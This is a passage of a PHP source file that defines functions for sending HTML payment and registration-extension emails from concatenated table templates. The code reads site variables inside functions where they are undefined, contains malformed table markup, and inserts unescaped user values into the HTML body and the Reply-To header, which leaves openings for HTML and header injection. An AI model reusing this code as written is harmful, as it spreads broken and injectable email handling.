</tr>
<tr>
<td><strong>Order No.:</strong></td>
<td>'.$order_id.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Status Desc:</strong></td>
<td>'.$status.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thanks again. We hope you will visit us again soon and put these special services to work for you.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Click here to login '.$login_link_user.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Emails: '.$admin_emails.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
sendemail( $to , $subject , $mailsBody, $headers );
}
function franchise_payment_mails($emails,$registration_no,$order_id,$status){
$subject = "Payment Details";
$to = $emails;
$from = $admin_emails;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$emails. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailsBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hi,</strong></td>
</tr>
<tr>
<td colspan="2">This is a payment Details as per the details submitted by you. You are now registered on '.$site_name.' with the following details:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Registration No:</strong></td>
<td>'.$registration_no.'</td>
</tr>
<tr>
<td><strong>Order No.:</strong></td>
<td>'.$order_id.'</td>
</tr>
<tr>
<td><strong>Status Desc:</strong></td>
<td>'.$status.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thanks again. We hope you will visit us again soon and put these special services to work for you.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Click here to login '.$login_link_user.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Emails: '.$admin_emails.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
sendemail( $to , $subject , $mailsBody, $headers );
}
function user_register_ex_online($to,$fullname,$emails,$orderid,$Status){
$subject = "Registration Extension";
$to = $emails;
$from = $admin_emails;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$emails. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailsBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hi '.$fullname.',</strong></td>
</tr>
<tr>
<td colspan="2">We are jist to Inform you That your Registration Extension is '.$Status.' '.$site_name.'!</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Emails ID:</strong></td>
<td>'.$emails.'</td>
</tr>
<tr>
<td><strong>Order Id:</strong></td>
<td>'.$orderid.'</td>
</tr>
<tr>
<td><strong>Status:</strong></td>
<td>'.$Status.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thanks again. We hope you will visit us again soon and put these special services to work for you.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Click here to login '.$login_link_user.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Emails: '.$admin_emails.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
sendemail( $to , $subject , $mailsBody, $headers );
}
function mails_to_class($fullname,$emails,$orderid,$Status){
$subject = "Registration Extension";
$to = $emails;
$from = $admin_emails;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$emails. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailsBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hi '.$fullname.',</strong></td>
</tr>
<tr>
<td colspan="2">We are jist to Inform you That your Registration Extension is '.$Status.' '.$site_name.'!</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Emails ID:</strong></td>
<td>'.$emails.'</td>
</tr>
<tr>
<tr>
<td colspan="2">Thanks again. We hope you will visit us again soon and put these special services to work for you.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Emails: '.$admin_emails.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
sendemail( $to , $subject , $mailsBody, $headers );
}
//}
?>